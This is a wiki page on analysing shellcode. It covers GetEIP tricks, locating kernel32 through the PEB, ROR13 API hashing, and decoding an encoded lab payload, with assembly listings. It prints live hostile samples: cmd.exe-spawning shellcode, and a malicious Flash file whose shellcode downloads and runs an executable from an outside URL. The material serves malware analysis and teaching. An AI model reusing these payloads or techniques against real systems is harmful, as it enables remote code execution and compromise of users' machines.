Category:Exploits/Shellcode

From aldeid
Jump to navigation Jump to search
You are here:
Shellcode

Description

  • A shellcode is a sequence of bytes that represents a serie of assembly instructions.
  • Most of the time, shellcode is used in exploits (e.g. exploitation of a vulnerability to spawn a shell)

Online resources

How does a shellcode work?

Multi-staged attack

  • A shellcode executes in a buffer space, usually limited in size. For that reason, shellcodes are usually multi-staged, which means that the shellcode embedded in the exploit downloads and executes a binary that will then complete the attack (2nd stage).
  • The shellcode is very dependant from the environment it is executed into. For example, it needs to know the local memory addresses so that it can access data and call APIs to make system calls
  • If the second stage is already in memory, the shell code will look for the second phase shellcode. This operation is called Egg Hunting.

GetEIP

Description

  • Shellcode needs to locate itself.
  • EIP stores the address of the instruction that will be excuted next but can not be accessed directly. Shellcode relies on indirect approaches to determine EIP.

CALL / POP

0040101F:     E8 00000000      CALL 00401024
00401024:     58               POP EAX
  • There is a CALL to the address immediately after the CALL instruction.
  • CALL will save the value of EIP (401024) to the stack.
  • The POP EAX instruction will gather this value and store it in the EAX register

JMP / CALL

00401027:     EB 03            JMP SHORT 0040102C
00401029:     5E               POP ESI
0040102A:     EB 05            JMP SHORT 00401031
0040102C:     E8 F8FFFFFF      CALL 00401029
00401031:     83C6 09          ADD ESI, 9

fnstenv

INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Locating kernel32.dll

To be able to make system calls, the malware needs to locate kernel32.dll because it has 2 interesting functions:

The location of kernel32.dll is available in the Process Environment Block (PEB), which pointer is available at FS:[0x30]. Here is a method to access it:

seg000:0000029E                         findKernel32    proc near
seg000:0000029E 56                                      push    esi
seg000:0000029F 31 C0                                   xor     eax, eax
seg000:000002A1 64 8B 40 30                             mov     eax, fs:[eax+30h] ; Pointer to PEB (offset 0x30 in TEB)
seg000:000002A5 85 C0                                   test    eax, eax          ; If high bit are set, we're dealing with Win9x
seg000:000002A7 78 0F                                   js      short loc_2B8     ; If Win9x, jump to 0x000002B8 location
seg000:000002A9 8B 40 0C                                mov     eax, [eax+0Ch]    ; PEB_LDR_DATA (offset 0xc in PEB)
seg000:000002AC 8B 70 1C                                mov     esi, [eax+1Ch]    ; Get pointer to 1st LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink
seg000:000002AF AD                                      lodsd                     ; Get pointer to 2nd LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink
seg000:000002B0 8B 40 08                                mov     eax, [eax+8]      ; Get LDR_DATA_TABLE_ENTRY.DllBase
seg000:000002B3 E9 05 00 00 00                          jmp     loc_2BD
seg000:000002B8                         ; ---------------------------------------------------------------------------
seg000:000002B8
seg000:000002B8                         loc_2B8:                                  ; Location for Win9x
seg000:000002B8 E9 FB FF FF FF                          jmp     loc_2B8           ; Infinite loop
seg000:000002BD                         ; ---------------------------------------------------------------------------
seg000:000002BD
seg000:000002BD                         loc_2BD:
seg000:000002BD 5E                                      pop     esi
seg000:000002BE C3                                      retn
seg000:000002BE                         findKernel32    endp
Warning
In the above code, the 2nd InInitializationOrderLinks is accessed because from Windows 2K through Vista, kernel32.dll is the 2nd DLL initialized, just after ntdll.dll. It is no longer the case from Windows 7. Shellcode will instead need to examine the UNICODE_STRING FullDllName field to confirm it is kernel32.dll.

Find exported symbols

Once the base address of kernel32.dll has been found, the shellcode still needs to find exported symbols. Two approaches are possible, as depicted below.

Parse PE export data

To find the export address of a symbol, shellcode has to follow these steps:

  1. Iterate over the AddressOfNames array looking at each char* entry and perform a string comparison against the desired symbol until a match is found. Call this index into AddressOfNames iName.
  2. Index into the AddressOfNameOrdinals array using iName. This gives iOrdinal.
  3. Use iOrdinal to index into the AddressOfFunctions array. This gives the RVA of the exported symbol.

Using hashed exported names

Instead of using full string searches, shellcode authors usually use pre-computed hashes of functions. Not only it reduces the size of the code, but it also makes the shellcode less prone to antivirus/NIDS detection.

A well known function embedded in shellcode is the one included in Metasploit. It uses a simple ROR13 to compute the hashes. Below is an implementation of this function:

seg000:00000231                         hashString      proc near
seg000:00000231
seg000:00000231                         arg_0           = dword ptr  4
seg000:00000231
seg000:00000231 56                                      push    esi
seg000:00000232 57                                      push    edi
seg000:00000233 8B 74 24 0C                             mov     esi, [esp+8+arg_0]
seg000:00000237 31 FF                                   xor     edi, edi
seg000:00000239 FC                                      cld
seg000:0000023A
seg000:0000023A                         loc_23A:
seg000:0000023A 31 C0                                   xor     eax, eax
seg000:0000023C AC                                      lodsb
seg000:0000023D 38 E0                                   cmp     al, ah
seg000:0000023F 74 0A                                   jz      short loc_24B
seg000:00000241 C1 CF 0D                                ror     edi, 0Dh
seg000:00000244 01 C7                                   add     edi, eax
seg000:00000246 E9 EF FF FF FF                          jmp     loc_23A
seg000:0000024B                         ; ---------------------------------------------------------------------------
seg000:0000024B
seg000:0000024B                         loc_24B:
seg000:0000024B 89 F8                                   mov     eax, edi
seg000:0000024D 5F                                      pop     edi
seg000:0000024E 5E                                      pop     esi
seg000:0000024F C2 04 00                                retn    4
seg000:0000024F                         hashString      endp

Here is how this is then used in the code:

seg000:000002BF                         sub_2BF         proc near
seg000:000002BF 5B                                      pop     ebx
seg000:000002C0 E8 D9 FF FF FF                          call    findKernel32Base
seg000:000002C5 89 C2                                   mov     edx, eax
seg000:000002C7 68 8E 4E 0E EC                          push    0EC0E4E8Eh      ; kernel32.dll!LoadLibraryA
seg000:000002CC 52                                      push    edx
seg000:000002CD E8 80 FF FF FF                          call    findSymbolByHash
seg000:000002D2 89 45 FC                                mov     [ebp-4], eax
seg000:000002D5 68 C1 79 E5 B8                          push    0B8E579C1h      ; kernel32.dll!GetSystemDirectoryA
seg000:000002DA 52                                      push    edx
seg000:000002DB E8 72 FF FF FF                          call    findSymbolByHash
seg000:000002E0 89 45 F8                                mov     [ebp-8], eax
seg000:000002E3 68 83 B9 B5 78                          push    78B5B983h       ; kernel32.dll!TerminateProcess
seg000:000002E8 52                                      push    edx
seg000:000002E9 E8 64 FF FF FF                          call    findSymbolByHash
[SNIP]

There is a very useful plugin from FireEye that you can use in IDA-Pro: Shellcode Hashes.

Shellcode encoding

Identify shellcode sections

Legend

NOP sled
Decoder
Encoded payload
Bin Assembly
$ hd Lab19-01.bin 
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000200  33 c9 66 b9 8d 01 eb 17  5e 56 8b fe ac 8a d0 80  |3.f.....^V......|
00000210  ea 41 c0 e2 04 ac 2c 41  02 c2 aa 49 75 ee c3 e8  |.A....,A...Iu...|
00000220  e4 ff ff ff 49 4a 4f 46  49 42 4f 4d 45 41 41 41  |....IJOFIBOMEAAA|
00000230  41 41 41 41 4f 4a 44 44  41 42 41 41 41 41 46 47  |AAAAOJDDABAAAAFG|
00000240  46 48 49 4c 48 45 43 45  41 4d 44 42 50 50 50 4d  |FHILHECEAMDBPPPM|
00000250  44 42 4d 41 4b 4d 44 49  4f 41 48 45 41 4b 4d 42  |DBMAKMDIOAHEAKMB|
00000260  4d 50 41 4e 41 42 4d 48  4f 4a 4f 50 50 50 50 50  |MPANABMHOJOPPPPP|
00000270  50 50 49 4a 50 49 46 50  46 4f 4d 43 41 45 41 41  |PPIJPIFPFOMCAEAA|
00000280  47 41 49 4c 47 4d 43 45  43 45 49 4c 45 46 44 4d  |GAILGMCECEILEFDM|
00000290  49 4c 46 45 41 46 48 49  41 42 4f 4b 49 4c 45 4b  |ILFEAFHIABOKILEK|
000002a0  42 49 49 4c 46 4b 43 41  41 42 4f 4c 4f 44 43 4b  |BIILFKCAABOLODCK|
000002b0  45 4a 49 4c 44 45 49 4c  41 42 4f 4f 46 47 4f 49  |EJILDEILABOOFGOI|
000002c0  4c 4c 50 50 50 50 50 50  44 4c 45 45 43 45 43 49  |LLPPPPPPDLEECECI|
000002d0  48 46 4f 4d 49 4c 46 4b  43 45 41 42 4f 4c 47 47  |HFOMILFKCEABOLGG|
000002e0  49 4c 41 4d 45 4c 49 4c  46 4b 42 4d 41 42 4f 4c  |ILAMELILFKBMABOL|
000002f0  49 4c 41 45 49 4c 41 42  4f 49 4f 4a 41 43 41 41  |ILAEILABOIOJACAA|
00000300  41 41 41 41 44 42 4d 41  49 4a 45 45 43 45 42 4d  |AAAADBMAIJEECEBM|
00000310  47 42 4d 43 41 49 41 41  46 47 44 42 4d 41 47 45  |GBMCAIAAFGDBMAGE|
00000320  49 4c 45 41 44 41 49 46  4d 41 48 49 41 50 49 4c  |ILEADAIFMAHIAPIL|
00000330  45 41 41 4d 49 4c 48 41  42 4d 4b 4e 49 4c 45 41  |EAAMILHABMKNILEA|
00000340  41 49 4f 4a 41 46 41 41  41 41 41 41 4f 4a 50 4c  |AIOJAFAAAAAAOJPL|
00000350  50 50 50 50 50 50 46 4f  4d 44 46 4c 4f 49 4e 4a  |PPPPPPFOMDFLOINJ|
00000360  50 50 50 50 50 50 49 4a  4d 43 47 49 49 4f 45 4f  |PPPPPPIJMCGIIOEO|
00000370  41 4f 4f 4d 46 43 4f 49  49 41 50 50 50 50 50 50  |AOOMFCOIIAPPPPPP|
00000380  49 4a 45 46 50 4d 47 49  4d 42 48 4a 4f 46 4c 49  |IJEFPMGIMBHJOFLI|
00000390  46 43 4f 49 48 43 50 50  50 50 50 50 49 4a 45 46  |FCOIHCPPPPPPIJEF|
000003a0  50 49 47 49 49 44 4c 4a  4c 46 48 49 46 43 4f 49  |PIGIIDLJLFHIFCOI|
000003b0  47 45 50 50 50 50 50 50  49 4a 45 46 50 45 47 49  |GEPPPPPPIJEFPEGI|
000003c0  4f 47 42 48 49 50 48 4c  46 43 4f 49 46 47 50 50  |OGBHIPHLFCOIFGPP|
000003d0  50 50 50 50 49 4a 45 46  50 41 47 49 4a 49 50 4f  |PPPPIJEFPAGIJIPO|
000003e0  49 4b 41 4f 46 43 4f 49  45 49 50 50 50 50 50 50  |IKAOFCOIEIPPPPPP|
000003f0  49 4a 45 46 4f 4d 49 4e  41 44 46 41 50 50 46 46  |IJEFOMINADFAPPFF|
00000400  50 4d 47 49 44 47 42 4b  43 50 48 41 46 41 4f 49  |PMGIDGBKCPHAFAOI|
00000410  44 45 50 50 50 50 50 50  49 4a 45 46 4f 49 47 49  |DEPPPPPPIJEFOIGI|
00000420  49 41 41 41 41 41 41 41  49 4e 48 4c 45 49 46 48  |IAAAAAAAINHLEIFH|
00000430  50 50 46 46 50 49 41 42  4d 48 4d 48 41 48 46 4d  |PPFFPIABMHMHAHFM|
00000440  44 42 43 4f 47 46 4d 48  45 48 41 45 48 49 47 46  |DBCOGFMHEHAEHIGF|
00000450  41 41 41 41 44 42 4d 4a  46 42 46 42 49 4e 45 44  |AAAADBMJFBFBINED|
00000460  45 49 46 41 49 4e 45 44  41 48 46 41 46 42 50 50  |EIFAINEDAHFAFBPP|
00000470  46 46 4f 49 47 49 41 46  41 41 41 41 41 41 49 4e  |FFOIGIAFAAAAAAIN|
00000480  45 44 45 49 46 41 50 50  46 46 4f 4d 50 50 46 46  |EDEIFAPPFFOMPPFF|
00000490  50 41 47 49 41 41 41 41  41 41 41 41 46 41 50 50  |PAGIAAAAAAAAFAPP|
000004a0  46 46 50 45 4f 49 46 47  50 50 50 50 50 50 46 46  |FFPEOIFGPPPPPPFF|
000004b0  46 43 45 4d 45 4e 45 50  45 4f 41 41 47 49 48 45  |FCEMENEPEOAAGIHE|
000004c0  48 45 48 41 44 4b 43 50  43 50 48 48 48 48 48 48  |HEHADKCPCPHHHHHH|
000004d0  43 4f 48 41 48 43 47 42  47 44 48 45 47 4a 47 44  |COHAHCGBGDHEGJGD|
000004e0  47 42 47 4d 47 4e 47 42  47 4d 48 48 47 42 48 43  |GBGMGNGBGMHHGBHC|
000004f0  47 46 47 42 47 4f 47 42  47 4d 48 4a 48 44 47 4a  |GFGBGOGBGMHJHDGJ|
00000500  48 44 43 4f 47 44 47 50  47 4e 43 50 48 44 47 49  |HDCOGDGPGNCPHDGI|
00000510  47 46 47 4d 47 4d 47 44  47 50 47 45 47 46 43 50  |GFGMGMGDGPGEGFCP|
00000520  47 42 47 4f 47 4f 47 50  48 4a 46 50 48 46 48 44  |GBGOGOGPHJFPHFHD|
00000530  47 46 48 43 43 4f 47 46  48 49 47 46 41 41        |GFHCCOGFHIGFAA|
>>> from distorm3 import Decode, Decode32Bits
>>> l = Decode(0x0, open("Lab19-01.bin", "rb").read(), Decode32Bits)
>>> for i in l:
...     print "0x%08x (%02x) %-20s %s" % (i[0],  i[1],  i[3],  i[2])
... 
0x00000000 (01) 41                   INC ECX
0x00000001 (01) 41                   INC ECX
0x00000002 (01) 41                   INC ECX
0x00000003 (01) 41                   INC ECX
0x00000004 (01) 41                   INC ECX
[...SNIP...]
0x000001fe (01) 41                   INC ECX
0x000001ff (01) 41                   INC ECX
0x00000200 (02) 33c9                 XOR ECX, ECX
0x00000202 (04) 66b98d01             MOV CX, 0x18d
0x00000206 (02) eb17                 JMP 0x21f
0x00000208 (01) 5e                   POP ESI
0x00000209 (01) 56                   PUSH ESI
0x0000020a (02) 8bfe                 MOV EDI, ESI
0x0000020c (01) ac                   LODSB
0x0000020d (02) 8ad0                 MOV DL, AL
0x0000020f (03) 80ea41               SUB DL, 0x41
0x00000212 (03) c0e204               SHL DL, 0x4
0x00000215 (01) ac                   LODSB
0x00000216 (02) 2c41                 SUB AL, 0x41
0x00000218 (02) 02c2                 ADD AL, DL
0x0000021a (01) aa                   STOSB
0x0000021b (01) 49                   DEC ECX
0x0000021c (02) 75ee                 JNZ 0x20c
0x0000021e (01) c3                   RET
0x0000021f (05) e8e4ffffff           CALL 0x208
0x00000224 (01) 49                   DEC ECX
0x00000225 (01) 4a                   DEC EDX
0x00000226 (01) 4f                   DEC EDI
0x00000227 (01) 46                   INC ESI
0x00000228 (01) 49                   DEC ECX
0x00000229 (01) 42                   INC EDX
0x0000022a (01) 4f                   DEC EDI
0x0000022b (01) 4d                   DEC EBP
0x0000022c (01) 45                   INC EBP
0x0000022d (01) 41                   INC ECX
0x0000022e (01) 41                   INC ECX
0x0000022f (01) 41                   INC ECX
0x00000230 (01) 41                   INC ECX
0x00000231 (01) 41                   INC ECX
[...SNIP...]
0x00000538 (01) 48                   DEC EAX
0x00000539 (01) 49                   DEC ECX
0x0000053a (01) 47                   INC EDI
0x0000053b (01) 46                   INC ESI
0x0000053c (01) 41                   INC ECX
0x0000053d (01) 41                   INC ECX
Note
Notice that the instructions in blue have been wrongly interpreted since these bytes correspond to the encrypted stub and need to be patched by the decrypting routine.

Decoding

There are several ways to decode the shellcode. Below are 2 approaches:

  • Use a python script that will be executed in IDA-Pro to directly patch the bytes. Details available here.
  • You can isolate the encrypted bytes and use a python script to decrypt the content in an output file (see below). Below is the script I wrote to decode the content:
#!/usr/bin/env python

def shl(dest, count):
    return hex(dest << count)

def transform_pair(c1, c2):
    # substracts 0x41 and shl(4) the 1st char
    c1 = shl(int(hex(ord(c1)), 16) - 0x41, 4)
    # substracts 0x41 from 2nd character
    c2 = int(hex(ord(c2)), 16) - 0x41
    # return sum of both transforms
    return int(c1, 16) + c2

s = "IJOFIBOMEAAAAAAAOJDDABAAAAFGFHILHECEAMDBPPPMDBMAKMDIOAHEAKMBMPANABMHOJOPPPPPP"
s+= "PIJPIFPFOMCAEAAGAILGMCECEILEFDMILFEAFHIABOKILEKBIILFKCAABOLODCKEJILDEILABOOFG"
s+= "OILLPPPPPPDLEECECIHFOMILFKCEABOLGGILAMELILFKBMABOLILAEILABOIOJACAAAAAADBMAIJE"
s+= "ECEBMGBMCAIAAFGDBMAGEILEADAIFMAHIAPILEAAMILHABMKNILEAAIOJAFAAAAAAOJPLPPPPPPFO"
s+= "MDFLOINJPPPPPPIJMCGIIOEOAOOMFCOIIAPPPPPPIJEFPMGIMBHJOFLIFCOIHCPPPPPPIJEFPIGII"
s+= "DLJLFHIFCOIGEPPPPPPIJEFPEGIOGBHIPHLFCOIFGPPPPPPIJEFPAGIJIPOIKAOFCOIEIPPPPPPIJ"
s+= "EFOMINADFAPPFFPMGIDGBKCPHAFAOIDEPPPPPPIJEFOIGIIAAAAAAAINHLEIFHPPFFPIABMHMHAHF"
s+= "MDBCOGFMHEHAEHIGFAAAADBMJFBFBINEDEIFAINEDAHFAFBPPFFOIGIAFAAAAAAINEDEIFAPPFFOM"
s+= "PPFFPAGIAAAAAAAAFAPPFFPEOIFGPPPPPPFFFCEMENEPEOAAGIHEHEHADKCPCPHHHHHHCOHAHCGBG"
s+= "DHEGJGDGBGMGNGBGMHHGBHCGFGBGOGBGMHJHDGJHDCOGDGPGNCPHDGIGFGMGMGDGPGEGFCPGBGOGO"
s+= "GPHJFPHFHDGFHCCOGFHIGFAA"

my_byte_array = []

for i in range(len(s)/2):
    my_byte_array.append(transform_pair(s[i*2], s[i*2+1]))

with open('decoded_shellcode', 'wb') as output:
    output.write(bytearray(i for i in my_byte_array))

You can then load the output file into IDA-Pro.

Compile shellcode

With gcc

As shellcodes are a sequence of bytes (assembly opcodes), we can use a C skelton to compile the code and then analyze it. Imagine that we have the following shellcode:

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68
\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x44\x80
\xbf\x77\xff\xd0

Let's use the following skelton:

unsigned char shellcode[] =
  shellcode;
int main() {
}

So that our program becomes:

$ cat shellcode.c
unsigned char shellcode[] =
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68"
 "\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8\x44\x80"
 "\xbf\x77\xff\xd0";
int main() {
}

Now, let's compile our code:

$ gcc -g -o shellcode shellcode.c 

We now have a compiled code (executable):

$ file shellcode
shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs),
for GNU/Linux 2.6.26, BuildID[sha1]=0xd0701b4ba3378c486adbecf2bf0364a2da4f4183, not stripped

With shellcode2exe

shellcode2exe can also compile the shellcode to a Windows executable:

$ cat > sc2.txt
\x909\x090\x909\x090\x909\x0EB\x905\xE1a\x5B5\x606\
[SNIP]
\xe47\x6c6\xD6f\x4F4\xf6F\x6f4\x346\x4A7\x36C\x555
$ shellcode2exe -s sc2.txt
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Reading string shellcode from file sc2.txt
Generating executable file
Writing file sc2.exe
Done.

Analyze shellcode

With gdb

$ gdb shellcode 
[SNIP]
(gdb) set disassembly-flavor intel
(gdb) disassemble shellcode
Dump of assembler code for function shellcode:
   0x08049640 <+0>:	nop
   0x08049641 <+1>:	nop
   0x08049642 <+2>:	nop
   0x08049643 <+3>:	nop
   0x08049644 <+4>:	nop
   0x08049645 <+5>:	nop
   0x08049646 <+6>:	nop
   0x08049647 <+7>:	nop
   0x08049648 <+8>:	nop
   0x08049649 <+9>:	nop
   0x0804964a <+10>:	nop
   0x0804964b <+11>:	mov    ebp,esp
   0x0804964d <+13>:	push   ebp
   0x0804964e <+14>:	mov    ebp,esp
   0x08049650 <+16>:	push   0x20657865
   0x08049655 <+21>:	push   0x2e646d63
   0x0804965a <+26>:	lea    eax,[ebp-0x8]
   0x0804965d <+29>:	push   eax
   0x0804965e <+30>:	mov    eax,0x77bf8044
   0x08049663 <+35>:	call   eax
   0x08049665 <+37>:	add    BYTE PTR [eax],al
End of assembler dump.
(gdb) quit

The hex values 0x20657865 and 0x2e646d63 correspond to the string "cmd.exe" in ascii:

$ python
>>> "206578652e646d63".decode("hex")[::-1]
'cmd.exe '

With objdump

The objdump command can also disassemble our code:

$ objdump -Mintel -D shellcode
[SNIP]
08049640 <shellcode>:
 8049640:	90                   	nop
 8049641:	90                   	nop
 8049642:	90                   	nop
 8049643:	90                   	nop
 8049644:	90                   	nop
 8049645:	90                   	nop
 8049646:	90                   	nop
 8049647:	90                   	nop
 8049648:	90                   	nop
 8049649:	90                   	nop
 804964a:	90                   	nop
 804964b:	8b ec                	mov    ebp,esp
 804964d:	55                   	push   ebp
 804964e:	8b ec                	mov    ebp,esp
 8049650:	68 65 78 65 20       	push   0x20657865
 8049655:	68 63 6d 64 2e       	push   0x2e646d63
 804965a:	8d 45 f8             	lea    eax,[ebp-0x8]
 804965d:	50                   	push   eax
 804965e:	b8 44 80 bf 77       	mov    eax,0x77bf8044
 8049663:	ff d0                	call   eax
 8049665:	00 00                	add    BYTE PTR [eax],al
	...

With rasm2

$ sed "s/\\\x//g" shellcode | rasm2 -a x86 -d -
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, esp
push ebp
mov ebp, esp
push dword 0x20657865
push dword 0x2e646d63
lea eax, [ebp-0x8]
push eax
mov eax, 0x77bf8044
call eax

shellcode_launcher.exe

shellcode_launcher.exe is a small program shipped with the Practical Malware Analysis book. It can be used to run shellcode and analyze it in a debugger. The following command launches shellcode.bin and creates a breakpoint:

shellcode_launcher.exe -i shellcode.bin -bp -L user32

Options:

-i
input shellcode
-bp
inserts a breakpoint when loaded into a debugger
-L user32
will ensure LoadLibraryA is loaded

You can intercept it in OllyDbg by choosing Options > Just-in-time debugging > Make OllyDbg just-in-time debugger:

Shellcode in SWF

Here is an example of a shellcode embedded in a Flash file:

$ file flash1.swf 
flash1.swf: Macromedia Flash data, version 9

We can see that urlmon.dll is imported and a file is downloaded:

$ hd flash1.swf 
00000000  46 57 53 09 5a 03 00 00  78 00 05 5f 00 00 0f a0  |FWS.Z...x.._....|
00000010  00 00 0c 03 03 44 11 08  00 00 00 bf 01 50 01 00  |.....D.......P..|
00000020  00 aa 02 34 d1 f5 25 13  90 00 90 90 90 90 90 20  |...4..%........ |
00000030  cc cc cc cc cc cc cc cc  cc cc cc cc cc cc 90 90  |................|
00000040  60 50 33 c9 64 03 49 30  8b 49 0c 8b 71 1c ad 8b  |`P3.d.I0.I..q...|
00000050  40 08 eb 4b 8b 75 3c 8b  74 2e 78 03 f5 56 8b 76  |@..K.u<.t.x..V.v|
00000060  20 03 f5 33 c9 49 33 db  ad 41 0f be 54 05 00 38  | ..3.I3..A..T..8|
00000070  f2 74 08 c1 cb 0c 03 da  40 eb ef 3b df 75 e7 5e  |.t......@..;.u.^|
00000080  8b 5e 24 03 dd 66 8b 0c  4b 8b 5e 1c 03 dd 8b 04  |.^$..f..K.^.....|
00000090  8b 03 c5 c3 75 72 6c 6d  6f 6e 2e 64 6c 6c 00 95  |....urlmon.dll..|
000000a0  bf d0 a7 17 47 e8 aa ff  ff ff 83 ec 04 83 2c 24  |....G.........,$|
000000b0  16 ff d0 95 50 bf e2 e6  58 1b e8 95 ff ff ff 8b  |....P...X.......|
000000c0  54 24 fc 8d 52 0e 33 db  53 53 52 eb 3b 43 3a 5c  |T$..R.3.SSR.;C:\|
000000d0  36 31 32 33 74 2e 65 78  65 00 53 ff d0 5d bf f7  |6123t.exe.S..]..|
000000e0  7e be ad e8 6c ff ff ff  83 ec 04 83 2c 24 1b ff  |~...l.......,$..|
000000f0  d0 bf 02 f2 26 8f e8 59  ff ff ff 61 68 55 d6 1a  |....&..Y...ahU..|
00000100  30 83 c4 08 ff 64 24 f8  e8 cd ff ff ff 68 74 74  |0....d$......htt|
00000110  70 3a 2f 2f 77 77 77 2e  6a 6a 31 32 30 2e 63 6f  |p://www.jj120.co|
00000120  6d 2f 69 6e 63 2f 66 75  63 6b 6a 70 2e 65 78 65  |m/inc/fuckjp.exe|
00000130  00 00 40 08 eb 4b 8b 75  3c 8b 74 2e 78 03 f5 56  |[email protected]<.t.x..V|
00000140  8b 76 20 03 f5 33 c9 49  33 db ad 41 0f be 54 05  |.v ..3.I3..A..T.|
00000150  00 38 f2 74 08 c1 cb 0c  03 da 40 eb ef 3b df 75  |.8.t......@..;.u|
00000160  e7 5e 8b 5e 24 03 dd 66  8b 0c 4b 8b 5e 1c 03 dd  |.^.^$..f..K.^...|
00000170  8b a8 15 99 b4 8e a0 08  20 20 20 20 20 20 20 20  |........        |
00000180  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
00000190  20 20 20 20 20 20 20 20  20 20 43 43 02 ff ff ff  |          CC....|
000001a0  bf 15 0c 00 00 00 01 00  e5 9c ba e6 99 af 20 31  |.............. 1|
000001b0  00 00 bf 14 7f 01 00 00  01 00 00 00 00 10 00 2e  |................|
000001c0  00 00 00 00 10 07 6e 65  77 5f 66 6c 61 0c 4d 61  |......new_fla.Ma|
000001d0  69 6e 54 69 6d 65 6c 69  6e 65 0d 66 6c 61 73 68  |inTimeline.flash|
000001e0  2e 64 69 73 70 6c 61 79  09 4d 6f 76 69 65 43 6c  |.display.MovieCl|
000001f0  69 70 14 6e 65 77 5f 66  6c 61 3a 4d 61 69 6e 54  |ip.new_fla:MainT|
00000200  69 6d 65 6c 69 6e 65 06  66 72 61 6d 65 31 00 0e  |imeline.frame1..|
00000210  61 64 64 46 72 61 6d 65  53 63 72 69 70 74 06 4f  |addFrameScript.O|
00000220  62 6a 65 63 74 0c 66 6c  61 73 68 2e 65 76 65 6e  |bject.flash.even|
00000230  74 73 0f 45 76 65 6e 74  44 69 73 70 61 74 63 68  |ts.EventDispatch|
00000240  65 72 0d 44 69 73 70 6c  61 79 4f 62 6a 65 63 74  |er.DisplayObject|
00000250  11 49 6e 74 65 72 61 63  74 69 76 65 4f 62 6a 65  |.InteractiveObje|
00000260  63 74 16 44 69 73 70 6c  61 79 4f 62 6a 65 63 74  |ct.DisplayObject|
00000270  43 6f 6e 74 61 69 6e 65  72 06 53 70 72 69 74 65  |Container.Sprite|
00000280  07 16 01 16 03 18 05 17  01 16 07 16 0a 00 0b 07  |................|
00000290  01 02 07 02 04 07 04 06  07 05 08 07 05 09 07 06  |................|
000002a0  0b 07 02 0c 07 02 0d 07  02 0e 07 02 0f 04 00 00  |................|
000002b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 01  |................|
000002c0  01 02 08 03 00 02 01 03  01 00 01 00 00 01 03 01  |................|
000002d0  01 04 01 00 04 00 01 01  09 0a 03 d0 30 47 00 00  |............0G..|
000002e0  01 02 01 0a 0b 09 f8 62  8f ff ff 02 02 02 47 00  |.......b......G.|
000002f0  00 02 03 01 0a 0b 0f d0  30 d0 49 00 5d 04 24 00  |........0.I.].$.|
00000300  60 03 4f 04 02 47 00 00  03 02 01 01 09 27 f8 62  |`.O..G.......'.b|
00000310  79 f8 62 75 f8 e8 25 fd  ff ff 00 f8 29 02 f8 63  |y.bu..%.....)..c|
00000320  79 02 02 02 02 02 02 02  02 02 02 02 02 02 02 02  |y...............|
00000330  02 02 02 02 47 00 00 3f  13 19 00 00 00 01 00 00  |....G..?........|
00000340  00 6e 65 77 5f 66 6c 61  2e 4d 61 69 6e 54 69 6d  |.new_fla.MainTim|
00000350  65 6c 69 6e 65 00 40 00  00 00                    |eline.@...|
0000035a

Here is a way to analyze the shellcode:

$ cat flash1.swf | hexdump -v -e '/1 "%02X"' | rasm2 -a x86 -d -
disassemble error at offset 414
inc esi
push edi
push ebx
or [edx+0x3], ebx
add [eax], al
js 0x804800a
add eax, 0xf00005f
mov al, [0x30c0000]
add eax, [ecx+edx+0x8]
add [eax], al
add [edi+0x15001], bh
add [edx+0xf5d13402], ch
and eax, 0x90009013
nop
nop
nop
nop
and ah, cl
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
nop
nop
pushad
push eax
xor ecx, ecx
add ecx, [fs:ecx+0x30]
mov ecx, [ecx+0xc]
mov esi, [ecx+0x1c]
lodsd
mov eax, [eax+0x8]
jmp 0x804809f
mov esi, [ebp+0x3c]
mov esi, [esi+ebp+0x78]
add esi, ebp
push esi
mov esi, [esi+0x20]
add esi, ebp
xor ecx, ecx
dec ecx
xor ebx, ebx
lodsd
inc ecx
movsx edx, byte [ebp+eax+0x0]
cmp dl, dh
jz 0x804807b
ror ebx, 0xc
add ebx, edx
inc eax
jmp 0x804806a
cmp ebx, edi
jnz 0x8048066
pop esi
mov ebx, [esi+0x24]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [esi+0x1c]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
ret
jnz 0x8048108
insb
insd
outsd
outsb
insb
insb
add [ebp+0x17a7d0bf], dl
inc edi
call dword 0x8048054
sub esp, 0x4
sub dword [esp], 0x16
call eax
xchg ebp, eax
push eax
mov edi, 0x1b58e6e2
call dword 0x8048054
mov edx, [esp-0x4]
lea edx, [edx+0xe]
xor ebx, ebx
push ebx
push ebx
push edx
jmp 0x8048108
inc ebx
cmp bl, [esi+esi+0x31]
xor dh, [ebx]
jz 0x8048104
js 0x804813e
add [ebx-0x1], dl
rcr byte [ebp-0x41], 1
idiv dword [esi-0x42]
lodsd
call dword 0x8048054
sub esp, 0x4
sub dword [esp], 0x1b
call eax
mov edi, 0x8f26f202
call dword 0x8048054
popad
push dword 0x301ad655
add esp, 0x8
jmp dword [esp-0x8]
call dword 0x80480da
push dword 0x3a707474
das
das
ja 0x804818d
ja 0x8048146
push 0x6a
xor [edx], esi
xor [esi], ch
arpl [edi+0x6d], bp
das
imul ebp, [esi+0x63], 0x6375662f
imul ebp, [edx+0x70], 0x2e
js 0x8048195
add [eax], al
inc eax
or bl, ch
dec ebx
mov esi, [ebp+0x3c]
mov esi, [esi+ebp+0x78]
add esi, ebp
push esi
mov esi, [esi+0x20]
add esi, ebp
xor ecx, ecx
dec ecx
xor ebx, ebx
lodsd
inc ecx
movsx edx, byte [ebp+eax+0x0]
cmp dl, dh
jz 0x804815d
ror ebx, 0xc
add ebx, edx
inc eax
jmp 0x804814c
cmp ebx, edi
jnz 0x8048148
pop esi
